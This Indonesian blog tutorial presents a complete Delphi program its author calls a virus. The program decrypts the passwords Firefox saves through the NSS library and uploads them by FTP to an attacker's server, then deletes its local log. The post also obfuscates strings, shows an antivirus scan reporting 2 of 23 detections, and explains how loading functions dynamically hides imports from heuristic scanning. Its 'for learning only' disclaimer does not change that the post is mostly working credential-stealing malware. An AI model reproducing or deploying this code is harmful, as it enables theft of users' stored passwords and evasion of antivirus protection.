ASSALAMUALAIKUM WAROHMATULOHI WA BAROKATUH

AHLAN WA SAHLAN

Cari Blog Ini

Sabtu, 13 Februari 2010

  1. Intruduction
    Kemajuan internet diindonesia mungkin saat ini sangat terasa, yang dimana indonesia mulai dipercaya oleh pihak luar buktinya baru-baru ini paypal telah membolehkan penggunaan account bank dari indonesia. Nah seiring makin berkembangnya internet ini juga maka security terhadapnyapun akan semakin rentan, yang dimana kita akan dihadapkan keberbagai masalah nyata tentang virus ( bukan virus dari indonesia lagi melainkan virus luar). Adapun virus dari luar ini sangat berkembang dan memiliki banyak fungsi dan tentu saja fungsi utamanya adalah mencuri data dari komputer kita atau menggunakan komputer kita sebagai pesuruh ( yang sering kita sebut dengan zombie). Untuk itulah saya mencoba membahas bagaimana cara membuat virus itu serta bagaimana menangkalnya (virus mencuri password).

    Sebelum saya memulai tutorial ini perlu diperhatikan :
    • Tutorial ini dibuat hanya untuk pembelajaran sehingga kita bisa mencegah komputer kita terjangkit oleh virus.
    • Tutorial ini menjelaskan rentannya keamanan data yang tersimpan dikomputer sehingga kita bisa mencegah data kita dicuri.
    • Tutorial ini menjelaskan bagaimana firefox menyimpan password kita, sehingga kita bisa mengamankannya.
    • Tutorial ini menjelaskan bagaimana sebuah virus bisa tidak terdeteksi oleh antivirus.
    • Saya tidak bertanggung jawab atas semua dampak yang terjadi dari tulisan ini. Untuk itu saya sangat mengharapkan nantinya virus ini hanya dijalankan dikomputer anda sendiri ( lihat tujuan nomor 1,2,3,4).
  2. HOW FIREFOX SAVE PASSWORD

    Disini saya akan sedikit menjelaskan bagaimana firefox menyimpan password kita.



    Seperti yang anda lihat digambar 1 saya mempunyai firefox dengan versi 3.5.2 nah sekarang mari kita mencoba login sebuah website. Dan saat selesai login maka akan muncul popup yang bertanya apakah anda akan save password,tidak save, dan tidak saat ini.



    Nah perhatikan gambar 2 jika anda klick remember maka apa yang terjadi ??? ya tentu saja password login anda akan disave ke firefox database. Adapun lokasi dari database firefox yaitu :

    Application data > Mozilla > Firefox > Profiles > Profiles path name > signons.sqlite

    Yang dimana Profiles path name anda bisa melihatnya di :

    Application data > Mozilla > Firefox > Profiles > profiles.ini

    Bukalah profiles.ini dengan notepad maka anda akan melihat semua profile firefox anda. Apabilah terdapat hanya 1 profile maka nilai Profiles path name terdapat pada [Profile0]>path dan apabila terdapat banyak profile maka carilah profile yang memiliki default yang bernilai 1.



    Contoh pada gambar 3 berarti lokasi path database firefox pada komputer saya :
    Application data > Mozilla > Firefox > Profiles > r06mx720.default > signons.sqlite. Nah sekarang kita mendapatkan alamat path dari database. Berhubung pada versi 3.5 firefox menyimpan password kedatabase sqlite, berarti untuk melihat datanya kita membutuhkan tools untuk membuka database sqlite. Toolsnya banyak bertebaran diinternet tapi dalam tutorial ini saya akan menggunakan SQLiteExpert.



    Pada gambar 4 terlihat pada database singons terdapat 2 tabel yaitu moz_disablehosts dan moz_logins. Berhubung kita berfocus pada password maka bukalah tabel moz_logins dan lihat datanya. Pada gambar juga terlihat hostname,encrypted username dan encrypted password. Nah ini membuktikan bahwa firefox sebenarnya mengamankan data kita dengan tidak mensave password berupa plaintext melainkan encrypted.

    Pada paragraph sebelumnya kita mengambil kesimpulan bahwa firefox menyimpan username dan password berupa encrypted password. Nah pertanyaannya bagaimana kita tau encryption apa yang digunakan ? dan tentu cara bagaimana mendecryptnya? Setelah melakukan sedikit reseach and baca-baca article akhirnya saya tau bahwa firefox menggunakan nss module. Apa itu nss module ? untuk penjelasan tentang nss ini anda bisa lihat di http://www.mozilla.org/projects/security/pki/nss/ adapun tentang mengenai fungsi yang berada pada module ini ada bisa melihatnya di http://www.mozilla.org/projects/secu...functions.html, sepertinya cara kerja tentang bagaimana firefox menyimpan password cukup sampai disini. Adapun untuk lebih mendalam anda bisa mencari article atau penjelasan lansung di website mozilla.
  3. Start Coding Virus
    Setelah mengetahui bagaimana firefox save password dan juga format database dari singons.sqlite kita lansung menuju ke tahap pembuatan virus ( coding ). Untuk itu saya mengharapkan anda tau dasar-dasar dari bahasa pemograman delphi. Pada tahap ini saya akan membaginya menjadi beberapa tahap yang dimana tahap-tahapnya adalah :
    • SQLITE FUNCTION
      Seperti yang kita ketahui bersama pada firefox versi 3.5 keatas password tersimpan dalam bentuk database sqlite, nah untuk itu kita diharuskan membuat simple sqlite wrapper. Adapun fungsi sqlite yang dibutuhkan untuk membuat sqlite wrapper ini adalah :

      1. Sqlite3_open
      2. Sqlite3_Prepare_v2
      3. Sqlite3_column_text
      4. Sqlite3_Step
      5. Sqlite3_ Close

      untuk penjelasan tentang fungsi diatas bisa liat di http://www.sqlite.org/cvstrac/wiki?p=SqliteWrappers

      Kembali kecoding sqlite wrapper for get mozilla password maka fungsi2 sqlite dibutuhkan diload dynamically, penjelasan tentang load dynamically bisa baca di http://www.delphi-central.com/dynamicdll.aspx. Dan tahap2nya seperti ini

      menyediakan variable sesuai format dari function
      Code:
      var
      SQLite3_Prepare_v2 :function (db: TSQLiteDB; SQLStatement: PAnsiChar; nBytes: integer; var hStmt: TSqliteStmt; var pzTail: PAnsiChar): integer; cdecl;
      SQLite3_Open :function (filename: PAnsiChar; var db: TSQLiteDB): integer; cdecl;
      SQLite3_ColumnText:function (hStmt: TSqliteStmt; ColNum: integer): PAnsiChar; cdecl;
      SQLite3_Step :function (hStmt: TSqliteStmt): integer; cdecl;
      SQLite3_Close :function (db: TSQLiteDB): integer; cdecl;
      load function ke variable yang sudah disediakan dengan fungsi GetProcAddress

      Code:
      function LoadLibSqlite3(libraryName: String): Boolean;
      var
      DLLHandle: THandle;
      begin
        dllhandle:= LoadLibrary(PChar(libraryName));
        if DLLHandle <> 0 then
        begin
          Result := True;
          @SQLite3_Open := GetProcAddress(dllhandle,pchar('sqlite3_open'));
          if not Assigned(@SQLite3_Open) then Result := False;
          @SQLite3_Prepare_v2   := GetProcAddress(dllhandle,pchar('sqlite3_prepare_v2'));
          if not Assigned(@SQLite3_Prepare_v2) then Result := False;
          @SQLite3_ColumnText   := GetProcAddress(dllhandle,pchar('sqlite3_column_text'));
          if not Assigned(@SQLite3_ColumnText) then Result := False;
          @SQLite3_Step := GetProcAddress(dllhandle,pchar('sqlite3_step'));
          if not Assigned(@SQLite3_Step) then Result := False;
          @SQLite3_Close := GetProcAddress(dllhandle,pchar('sqlite3_close'));
          if not Assigned(@SQLite3_Close) then Result := False;
        end else
          result:= false;
      end;
      tambahan fungsi untuk mempermuda sqlite wrapper :
      Code:
      function sqlite_prepare_v2(lHandle: pointer; sStatement: AnsiString): pointer;
      var
       Stmt: pointer;
       utf8statement: UTF8string;
       NextSQLStatement: PAnsiChar;
      begin
        utf8statement := UTF8String(sStatement);
        sqlite3_prepare_v2(lhandle,PAnsiChar(utf8statement), Length(utf8statement),Stmt,NextSQLStatement);
        result:= stmt;
      end;
      
      
      function sqlite_column_text(lStatement: pointer; lCol: integer): AnsiString;
      begin
       result:= SQLite3_ColumnText(lStatement,lcol);
      end;
      
      function sqlite_step(lStatement: pointer): Boolean;
      begin
        result := false;
        if Sqlite3_step(lStatement) = 100 then
        result := true;
      end;
    • Password Firefox
      Pada pembahasan sebelumnya saya telah menjelaskan bagaimana firefox menyimpan password kita. Nah sekarang kita akan membuat function untuk mengambil password yang disimpan firefox yang tentu saja berupa plaintext ( bukan encrypted lagi ). Adapun tahap – tahapny yaitu :
      1. Mengambil mozilla path dan version registry :
        Pada windows semua configuration mengenai windows dan program akan disimpan di registry, nah untuk itulah kita harus membaca letak default instalan mozilla beserta version dari mozilla di registry. Adapun letak dari registry:

        Version : HKEY_LOCAL_MACHINE > SOFTWARE > Mozilla > Mozilla Firefox > CurrentVersion
        Path : HKEY_LOCAL_MACHINE > SOFTWARE > Mozilla > Mozilla Firefox > Version > main > Install Directory


        Untuk mendapatkan nilai ini pada code kita harus membuat fungsi yang berguna mengambil nilai sesuai path yang dimasukkan adapun codenya sebagai berikut :

        Code:
        function ReadKeyToString(hRoot:HKEY; sKey:string; sSubKey:string):string;
        var
        hOpen: HKEY;
        sBuff: array[0..255] of char;
        dSize: integer;
        begin
          result := '';
          if (RegOpenKeyEx(hRoot, PChar(sKey), 0, KEY_QUERY_VALUE, hOpen) = ERROR_SUCCESS) then
          begin
          dSize := SizeOf(sBuff);
          RegQueryValueEx(hOpen, PChar(sSubKey), nil, nil, @sBuff, @dSize);
          Result := sBuff
          end;
          RegCloseKey(hOpen);
        end;
        Dan procedura untuk mendapatkan version dan pathnya sebagai berikut :
        Code:
        procedure GetFFInfos;
        var soft,moz,fire: string;
        begin
        soft:= 'S'+'O'+'F'+'T'+'W'+'A'+'R'+'E'+'\';
        moz:= 'M'+'o'+'z'+'i'+'l'+'l'+'a';
        fire:= 'F'+'i'+'r'+'e'+'f'+'o'+'x';
        version := ReadKeyToString(HKEY_LOCAL_MACHINE, soft+moz+'\'+moz+' '+fire, 'CurrentVersion');
        FireFoxPath:= ReadKeyToString(HKEY_LOCAL_MACHINE, soft+moz+'\'+moz+' '+fire+'\' + version + '\Main', 'Install Directory') + '\';
        end;
      2. Main Function untuk mendapatkan firefox password
        Seperti yang kita ketahui sebelumnya bahwa firefox menggunakan fungsi yang terdapat pada nss module untuk mengenecrypt passwordnya, nah decrypt merupakan kebalikan dari encrypt jadi kita membutuhkan fungsi yang terdapat dalam nss module juga dalam hal ini nss3.dll.

        Fungsi – fungsi yang berasal dari nss3.dll yang kita butuhkan adalah sebagai berikut :

        - NSS_Init
        - NSSBase64_DecodeBuffer
        - PK11_GetInternalKeySlot
        - PK11_Authenticate
        - PK11SDR_Decrypt
        - NSS_Shutdown
        - PK11_FreeSlot

        kesemua fungsi diatas keterangannya anda bisa lihat lansung pada website mozilla : http://www.mozilla.org/projects/secu...functions.html

        Sekarang kita telah mengetahui fungsi yang digunakan serta letak path dari password itu untuk itu saya akan menjelaskan tahap – tahap dari fungsi ini :
        • Meload library function yang berada dalam nss3.dll , berhubung library nss3.dll menggunakan library lainnya jadi kita harus meload terlebih dahulu library yang terkait yaitu : mozcrt19.dll, nspr4.dll, plc4.dll, plds4.dll, nssutil3.dll, softokn3.dll, sqlite3.dll.
        • Meload library function yang terdapat pada sqlite3.dll menggunakan fungsi LoadLibSqlite3 yang telah ktia buat.
        • Membuka profile.ini yang berada pada Application data > Mozilla > Firefox > Profiles > profiles.ini
        • Membaca profiles.ini dan menentukan default profilepathname.
        • Membuka database singons.sqlite yang berada pada path Application data > Mozilla > Firefox > Profiles > profilepathname > signons.sqlite.
        • Membuka table moz_logins dan mengambil nilai column 1,6,7.
        • Decrypt encrypted username dan password
        • Beralih ke baris berikutnya sampai tak ditemukan lagi baris pada tabel moz_logins.
        Adapun implementasi code dari tahap2 diatas sebagai berikut :

        Code:
        function mozillapassword:string;
        type
        TSECItem = packed record
        SECItemType: dword;
        SECItemData: pchar;
        SECItemLen: dword;
        end;
        PSECItem = ^TSECItem;
        var
        NSSModule: THandle;
        hToken: THandle;
        NSS_Init: function(configdir: pchar): dword; cdecl;
        NSSBase64_DecodeBuffer: function(arenaOpt: pointer; outItemOpt: PSECItem; inStr: pchar; inLen: dword): dword; cdecl;
        PK11_GetInternalKeySlot: function: pointer; cdecl;
        PK11_Authenticate: function(slot: pointer; loadCerts: boolean; wincx: pointer): dword; cdecl;
        PK11SDR_Decrypt: function(data: PSECItem; result: PSECItem; cx: pointer): dword; cdecl;
        NSS_Shutdown: procedure; cdecl;
        PK11_FreeSlot: procedure(slot: pointer); cdecl;
        ProfilePath: array [0..MAX_PATH] of char;
        ProfilePathLen: dword;
        FirefoxProfilePath: pchar;
        MainProfile: array [0..MAX_PATH] of char;
        MainProfilePath: pchar;
        EncryptedSECItem: TSECItem;
        DecryptedSECItem: TSECItem;
        database: pointer;
        lStatement : pointer;
        KeySlot: pointer;
        username,password:string;
        begin
        LoadLibrary(pchar(FirefoxPath + 'mozcrt19.dll'));
        LoadLibSqlite3(FirefoxPath + 'sqlite3.dll');
        LoadLibrary(pchar(FirefoxPath + 'nspr4.dll'));
        LoadLibrary(pchar(FirefoxPath + 'plc4.dll'));
        LoadLibrary(pchar(FirefoxPath + 'plds4.dll'));
        LoadLibrary(pchar(FirefoxPath + 'nssutil3.dll'));
        LoadLibrary(pchar(FirefoxPath + 'softokn3.dll'));
        NSSModule := LoadLibrary(pchar(FirefoxPath + 'nss3.dll'));
        @NSS_Init := GetProcAddress(NSSModule, pchar('NSS_Init'));
        @NSSBase64_DecodeBuffer := GetProcAddress(NSSModule, pchar('NSSBase64_DecodeBuffer'));
        @PK11_GetInternalKeySlot := GetProcAddress(NSSModule, pchar('PK11_GetInternalKeySlot'));
        @PK11_Authenticate := GetProcAddress(NSSModule, pchar('PK11_Authenticate'));
        @PK11SDR_Decrypt := GetProcAddress(NSSModule, pchar('PK11SDR_Decrypt'));
        @NSS_Shutdown := GetProcAddress(NSSModule, pchar('NSS_Shutdown'));
        @PK11_FreeSlot := GetProcAddress(NSSModule, pchar('PK11_FreeSlot'));
        OpenProcessToken(GetCurrentProcess, TOKEN_QUERY, hToken);
        ProfilePathLen := MAX_PATH;
        ZeroMemory(@ProfilePath, MAX_PATH);
        GetEnvironmentVariable('APPDATA',ProfilePath,ProfilePathLen);
        FirefoxProfilePath := pchar(profilePath +'\Mozilla\Firefox\profiles.ini');
        GetPrivateProfileString('Profile0', 'Path', '', MainProfile, MAX_PATH, FirefoxProfilePath);
        MainProfilePath := pchar(profilePath + '\Mozilla\Firefox\' + mainProfile + '\' + 'signons.sqlite');
        SQLite3_Open(pansichar(UTF8String(MainProfilePath)),database);
        lStatement:= sqlite_prepare_v2(database,'select *  from moz_logins');
        if NSS_Init(pchar(profilePath + '\Mozilla\Firefox\' + mainProfile)) = 0 then
        begin
        KeySlot := PK11_GetInternalKeySlot;
        if KeySlot <> nil then
        begin
        if PK11_Authenticate(KeySlot, True, nil) = 0 then
        begin
        while sqlite_step(lStatement) do
        begin
        result := result + #13#10;
        result := result + 'URL      : ' +sqlite_column_text(lstatement,1) + #13#10;
        username:= sqlite_column_text(lstatement,6);
        Password := sqlite_column_text(lstatement,7);
        NSSBase64_DecodeBuffer(nil, @EncryptedSECItem, pchar(Username), Length(Username));
        PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, nil);
        Result := result + 'Username : ' + DecryptedSECItem.SECItemData + #13#10;
        NSSBase64_DecodeBuffer(nil, @EncryptedSECItem, pchar(Password), Length(Password));
        PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, nil);
        Result := result + 'Password : ' + DecryptedSECItem.SECItemData + #13#10;
        Result := result +  #13#10;
        end;
        end else
        result:= result+  'PK11_Authenticate Failed!';
        PK11_FreeSlot(KeySlot);
        end else
        result:= result+  'PK11_GetInternalKeySlot Failed!';
        NSS_Shutdown;
        end else
        result:= result+  'NSS_Init Failed!';
        SQLite3_Close(database);
        end;
      3. Function Tambahan
        Sekarang kita membuat function tambahan yaitu function untuk mengirimkan log password yang telah didapatkan ke ftp server beserta function untuk mendapatkan computername.

        Code:
        function sendfiletoftp(host,username,pass,localfilepath,serverpath : string):boolean;
        var
        hopen, hconnect: pointer;
        begin
          result := false;
          hopen := internetopen('update', 1, nil, nil,$10000000);
          if hopen <> nil then
          begin
            hConnect := InternetConnect (hOpen, pchar(host), 21, pchar(username), pchar(pass), 1, $08000000, 0);
            if hconnect <> nil then
            begin
              ftpputfile(hconnect, pchar(localfilepath), pchar(serverpath),$00000001, 0);
              result := true;
            end;
            internetclosehandle(hConnect);
          end;
          internetclosehandle(hopen);
        end;
        
        function PC():String;
        var
        CompName: Array [0 .. 256] of char;
        size: DWORD;
        begin
          size := 256;
          GetComputerName(Compname, size);
          Result := CompName;
        end;
      4. Main Program
        Main program adalah program utama yang nantinya akan memanggil function yang telah kita buat. Pada main program ini juga akhir dari pembahasan, adapun sedikit penjelasan buat main program yaitu :
        • Menyediakan variable localpath yang dimana adalah alamat dari logkita nantinya.
        • Menyediakan Serverpath yang diamana adalah nama logkita nantinya diftpserver.
        • Mengambil firefox password dengan fungsi yang telah kita buat dan menuliskannya ke logfile.
        • Mengirimkannya ke ftpserver.
        • Terakhir menghapus log yang telah dikirim.

        Adapun codenya sebagai berikut :
        Code:
        localpath := 'c:\firefox.txt';
        serverpath := PC+'.txt';
        assign(pass, localpath);
        rewrite(pass);
        writeln(pass, '=====================================');
        writeln(pass, '========== SIMPLE VIRUS    ==========');
        writeln(pass, '=====================================');
        getffinfos;
        writeln(pass, mozillapassword);
        writeln(pass, '=====================================');
        writeln(pass, '========      BY MEONG         ======');
        writeln(pass, '=====================================');
        close(pass);
        sendfiletoftp(ftphost,ftpusername,ftppassword,localpath,serverpath);
        deletefile(pchar(localpath));
        Adapun code kita keseluruhannya adalah sebagai berikut :
        Code:
        program Virus;
        
        uses
          windows,wininet;
        
        type
          TSQLiteDB = Pointer;
          TSQLiteResult = ^PAnsiChar;
          TSQLiteStmt = Pointer;
        
        var
        pass: textfile;
        localpath,serverpath,FireFoxPath,version:string;
        SQLite3_Prepare_v2 :function (db: TSQLiteDB; SQLStatement: PAnsiChar; nBytes: integer; var hStmt: TSqliteStmt; var pzTail: PAnsiChar): integer; cdecl;
        SQLite3_Open :function (filename: PAnsiChar; var db: TSQLiteDB): integer; cdecl;
        SQLite3_ColumnText:function (hStmt: TSqliteStmt; ColNum: integer): PAnsiChar; cdecl;
        SQLite3_Step :function (hStmt: TSqliteStmt): integer; cdecl;
        SQLite3_Close :function (db: TSQLiteDB): integer; cdecl;
        
        
        const
        FTPHOST = ''; // FTP HOST INFO
        FTPUSERNAME = ''; // FTP USERNAME INFO
        FTPPassword = ''; // FTP Password INFO
        
        function LoadLibSqlite3(libraryName: String): Boolean;
        var
        DLLHandle: THandle;
        begin
          dllhandle:= LoadLibrary(PChar(libraryName));
          if DLLHandle <> 0 then
          begin
            Result := True;
            @SQLite3_Open := GetProcAddress(dllhandle,pchar('sqlite3_open'));
            if not Assigned(@SQLite3_Open) then Result := False;
            @SQLite3_Prepare_v2   := GetProcAddress(dllhandle,pchar('sqlite3_prepare_v2'));
            if not Assigned(@SQLite3_Prepare_v2) then Result := False;
            @SQLite3_ColumnText   := GetProcAddress(dllhandle,pchar('sqlite3_column_text'));
            if not Assigned(@SQLite3_ColumnText) then Result := False;
            @SQLite3_Step := GetProcAddress(dllhandle,pchar('sqlite3_step'));
            if not Assigned(@SQLite3_Step) then Result := False;
            @SQLite3_Close := GetProcAddress(dllhandle,pchar('sqlite3_close'));
            if not Assigned(@SQLite3_Close) then Result := False;
          end else
            result:= false;
        end;
        
        function sqlite_prepare_v2(lHandle: pointer; sStatement: AnsiString): pointer;
        var
         Stmt: pointer;
         utf8statement: UTF8string;
         NextSQLStatement: PAnsiChar;
        begin
          utf8statement := UTF8String(sStatement);
          sqlite3_prepare_v2(lhandle,PAnsiChar(utf8statement),Length(utf8statement),Stmt,NextSQLStatement);
          result:= stmt;
        end;
        
        function sqlite_column_text(lStatement: pointer; lCol: integer): AnsiString;
        begin
         result:= SQLite3_ColumnText(lStatement,lcol);
        end;
        
        function sqlite_step(lStatement: pointer): Boolean;
        begin
          result := false;
          if Sqlite3_step(lStatement) = 100 then
          result := true;
        end;
        
        function ReadKeyToString(hRoot:HKEY; sKey:string; sSubKey:string):string;
        var
        hOpen: HKEY;
        sBuff: array[0..255] of char;
        dSize: integer;
        begin
          result := '';
          if (RegOpenKeyEx(hRoot, PChar(sKey), 0, KEY_QUERY_VALUE, hOpen) = ERROR_SUCCESS) then
          begin
          dSize := SizeOf(sBuff);
          RegQueryValueEx(hOpen, PChar(sSubKey), nil, nil, @sBuff, @dSize);
          Result := sBuff
          end;
          RegCloseKey(hOpen);
        end;
        
        procedure GetFFInfos;
        var soft,moz,fire: string;
        begin
        soft:= 'S'+'O'+'F'+'T'+'W'+'A'+'R'+'E'+'\';
        moz:= 'M'+'o'+'z'+'i'+'l'+'l'+'a';
        fire:= 'F'+'i'+'r'+'e'+'f'+'o'+'x';
        version := ReadKeyToString(HKEY_LOCAL_MACHINE, soft+moz+'\'+moz+' '+fire, 'CurrentVersion');
        FireFoxPath:= ReadKeyToString(HKEY_LOCAL_MACHINE, soft+moz+'\'+moz+' '+fire+'\' + version + '\Main', 'Install Directory') + '\';
        end;
        
        function mozillapassword:string;
        type
        TSECItem = packed record
        SECItemType: dword;
        SECItemData: pchar;
        SECItemLen: dword;
        end;
        PSECItem = ^TSECItem;
        var
        NSSModule: THandle;
        hToken: THandle;
        NSS_Init: function(configdir: pchar): dword; cdecl;
        NSSBase64_DecodeBuffer: function(arenaOpt: pointer; outItemOpt: PSECItem; inStr: pchar; inLen: dword): dword; cdecl;
        PK11_GetInternalKeySlot: function: pointer; cdecl;
        PK11_Authenticate: function(slot: pointer; loadCerts: boolean; wincx: pointer): dword; cdecl;
        PK11SDR_Decrypt: function(data: PSECItem; result: PSECItem; cx: pointer): dword; cdecl;
        NSS_Shutdown: procedure; cdecl;
        PK11_FreeSlot: procedure(slot: pointer); cdecl;
        ProfilePath: array [0..MAX_PATH] of char;
        ProfilePathLen: dword;
        FirefoxProfilePath: pchar;
        MainProfile: array [0..MAX_PATH] of char;
        MainProfilePath: pchar;
        EncryptedSECItem: TSECItem;
        DecryptedSECItem: TSECItem;
        database: pointer;
        lStatement : pointer;
        KeySlot: pointer;
        username,password:string;
        begin
        LoadLibrary(pchar(FirefoxPath + 'mozcrt19.dll'));
        LoadLibSqlite3(FirefoxPath + 'sqlite3.dll');
        LoadLibrary(pchar(FirefoxPath + 'nspr4.dll'));
        LoadLibrary(pchar(FirefoxPath + 'plc4.dll'));
        LoadLibrary(pchar(FirefoxPath + 'plds4.dll'));
        LoadLibrary(pchar(FirefoxPath + 'nssutil3.dll'));
        LoadLibrary(pchar(FirefoxPath + 'softokn3.dll'));
        NSSModule := LoadLibrary(pchar(FirefoxPath + 'nss3.dll'));
        @NSS_Init := GetProcAddress(NSSModule, pchar('NSS_Init'));
        @NSSBase64_DecodeBuffer := GetProcAddress(NSSModule, pchar('NSSBase64_DecodeBuffer'));
        @PK11_GetInternalKeySlot := GetProcAddress(NSSModule, pchar('PK11_GetInternalKeySlot'));
        @PK11_Authenticate := GetProcAddress(NSSModule, pchar('PK11_Authenticate'));
        @PK11SDR_Decrypt := GetProcAddress(NSSModule, pchar('PK11SDR_Decrypt'));
        @NSS_Shutdown := GetProcAddress(NSSModule, pchar('NSS_Shutdown'));
        @PK11_FreeSlot := GetProcAddress(NSSModule, pchar('PK11_FreeSlot'));
        OpenProcessToken(GetCurrentProcess, TOKEN_QUERY, hToken);
        ProfilePathLen := MAX_PATH;
        ZeroMemory(@ProfilePath, MAX_PATH);
        GetEnvironmentVariable('APPDATA',ProfilePath,ProfilePathLen);
        FirefoxProfilePath := pchar(profilePath +'\Mozilla\Firefox\profiles.ini');
        GetPrivateProfileString('Profile0', 'Path', '', MainProfile, MAX_PATH, FirefoxProfilePath);
        MainProfilePath := pchar(profilePath + '\Mozilla\Firefox\' + mainProfile + '\' + 'signons.sqlite');
        SQLite3_Open(pansichar(UTF8String(MainProfilePath)),database);
        lStatement:= sqlite_prepare_v2(database,'select *  from moz_logins');
        if NSS_Init(pchar(profilePath + '\Mozilla\Firefox\' + mainProfile)) = 0 then
        begin
        KeySlot := PK11_GetInternalKeySlot;
        if KeySlot <> nil then
        begin
        if PK11_Authenticate(KeySlot, True, nil) = 0 then
        begin
        while sqlite_step(lStatement) do
        begin
        result := result + #13#10;
        result := result + 'URL      : ' +sqlite_column_text(lstatement,1) + #13#10;
        username:= sqlite_column_text(lstatement,6);
        Password := sqlite_column_text(lstatement,7);
        NSSBase64_DecodeBuffer(nil, @EncryptedSECItem, pchar(Username), Length(Username));
        PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, nil);
        Result := result + 'Username : ' + DecryptedSECItem.SECItemData + #13#10;
        NSSBase64_DecodeBuffer(nil, @EncryptedSECItem, pchar(Password), Length(Password));
        PK11SDR_Decrypt(@EncryptedSECItem, @DecryptedSECItem, nil);
        Result := result + 'Password : ' + DecryptedSECItem.SECItemData + #13#10;
        Result := result +  #13#10;
        end;
        end else
        result:= result+  'PK11_Authenticate Failed!';
        PK11_FreeSlot(KeySlot);
        end else
        result:= result+  'PK11_GetInternalKeySlot Failed!';
        NSS_Shutdown;
        end else
        result:= result+  'NSS_Init Failed!';
        SQLite3_Close(database);
        end;
        
        function sendfiletoftp(host,username,pass,localfilepath,serverpath : string):boolean;
        var
        hopen, hconnect: pointer;
        begin
          result := false;
          hopen := internetopen('update', 1, nil, nil,$10000000);
          if hopen <> nil then
          begin
            hConnect := InternetConnect (hOpen, pchar(host), 21, pchar(username), pchar(pass), 1, $08000000, 0);
            if hconnect <> nil then
            begin
              ftpputfile(hconnect, pchar(localfilepath), pchar(serverpath),$00000001, 0);
              result := true;
            end;
            internetclosehandle(hConnect);
          end;
          internetclosehandle(hopen);
        end;
        
        function PC():String;
        var
        CompName: Array [0 .. 256] of char;
        size: DWORD;
        begin
          size := 256;
          GetComputerName(Compname, size);
          Result := CompName;
        end;
        
        
        begin
          localpath := 'c:\firefox.txt';
          serverpath := PC+'.txt';
          assign(pass, localpath);
          rewrite(pass);
          writeln(pass, '=====================================');
          writeln(pass, '========== SIMPLE VIRUS    ==========');
          writeln(pass, '=====================================');
          getffinfos;
          writeln(pass, mozillapassword);
          writeln(pass, '=====================================');
          writeln(pass, '========      BY MEONG         ======');
          writeln(pass, '=====================================');
          close(pass);
          sendfiletoftp(ftphost,ftpusername,ftppassword,localpath,serverpath);
          deletefile(pchar(localpath));
        end.
        Setelah mencompile keseluruhan code diatas saya melakukan scan terhadap 23 antivirus dengan menggunakan jasa novirusthanks.org. adapun result yang saya dapatkan :

        File Info

        Report generated: 11.11.2009 at 3.17.01 (GMT 1)
        Filename: Virus.exe
        File size: 24576
        MD5 Hash: 0b58f7c286f4b40e4e1904daddbcab03
        SHA1 Hash: B70D02B2FC0613770E50C64AFA02D27607BF9FA2
        Self-Extract Archive: Nothing found
        Binder Detector: Nothing found
        Detection rate: 2 on 23

        Detections

        a-squared - -
        Avira AntiVir - TR/ATRAPS.Gen
        Avast - -
        AVG - -
        BitDefender - -
        ClamAV - -
        Comodo - -
        Dr.Web - -
        Ewido - -
        F-PROT6 - -
        Ikarus T3 - -
        Kaspersky - -
        McAfee - -
        NOD32 v3 - -
        Norman - -
        Panda - -
        QuickHeal - -
        Solo Antivirus - -
        Sophos - Mal/Behav-053
        TrendMicro - -
        VBA32 - -
        VirusBuster - -
        ZonerAntivirus - -

        Scan report generated by
        NoVirusThanks.org


        Terlihat diantara 23 antivirus yang disediakan oleh novirusthanks.org hanya avira dan sophos yang berhasil mendetecnya sebagai virus. Tapi inipun mudah sekali di baypas, untuk tips nya anda bisa melihat pada bab 4. Demikianlah bab start coding, apabila ada code yang tidak dimengerti anda bisa menanyakan lansung kepada saya ( lihat article paling bawah for my information ).
  4. Make Virus Undetect
    Dari bab sebelumnya telah melakukan scan terhadap virus dan kita mendapatkan hasil 2/23 dari novirusthanks. Nah pada bab ini saya tidak akan membuat virus ini menjadi undetect karena takutnya banyak orang nantinya akan menggunakannya dengan tidak- tidak. Tapi untuk membayar janji, saya akan menjelaskan sedikit tentang itu.

    Pertama kita buat simple program yang dimana kodenya :
    Code:
    program Project1;
    uses
      windows;
    begin
    end.
    Compilelah code diatas dan gunakan software pe exploler untuk melihat iat ( import adress table ).



    Pada gambar 5 diatas kita bisa melihat semua library yang diload dan juga function-function apa yang diload pada library itu. Sekarang kita coba menambahkan function pada code kita dan lihat apa yang terjadi pada iat. Adapun saya akan menambahkan function untuk mendapatkan komputername yang dimana menggunakan function getcomputername. Code kita sekarang seperti ini :

    Code:
    program Project1;
    uses
      windows;
    
    function PC():String;
    var
    CompName: Array [0 .. 256] of char;
    size: DWORD;
    begin
      size := 256;
      GetComputerName(Compname, size);
      Result := CompName;
    end;
    
    begin
      messagebox(0,pchar(pc),pchar('meong'),mb_ok);
    end.
    Compile lagi code diatas dan liat lagi iatnya.



    Nah pada gambar 6 kita melihat sedikit perubahan pada library yang diimport yaitu terdapat tambahan user32.dll yang dimana saat kita melihat user32.dll akan beriisi nilai messageboxA. Dan juga pada library kernel32.dll yang terakhir akan terdapat tambahan function yaitu GetcomputernameA.

    Demikianlah gambaran saat kita menggunakan function windows. Kesimpulan dari test ini adalah tiap fungsi windows yang kita gunakan maka alamat fungsi yang dipanggil akan disimpan diiat. Nah sesuai kesimpulan kita inilah maka bisa disimpulan juga kalau antivirus bisa saja melihat iat ini untuk mengetahui fungsi2 apa yang dipanggil dan menyimpulkannya sebagai virus atau tidak (heuristic). Pertanyan muncul, bagaimana agar fungsi yang dipanggil tidak perlu ditambahkan ke iat ? untuk itu anda bisa kembali ke penjelasan tentang load function dynamically.

    pembuktian code :
    Code:
    program Project1;
    uses
      windows;
    var
    xMessageBox :function (hWnd: HWND; lpText, lpCaption: PChar; uType: UINT): Integer; stdcall;
    xGetComputerName :function (lpBuffer: PChar; var nSize: DWORD): BOOL; stdcall;
    
    function PC():String;
    var
    CompName: Array [0 .. 256] of char;
    size: DWORD;
    begin
      size := 256;
      xGetComputerName(Compname, size);
      Result := CompName;
    end;
    
    begin
      @xMessageBox := GetProcAddress(loadlibrary('user32.dll'),'MessageBoxA');
      @xGetComputerName := GetProcAddress(loadlibrary('kernel32.dll'),'GetComputerNameA');
      xMessageBox(0,pchar(pc),pchar('meong'),mb_ok);
    end.


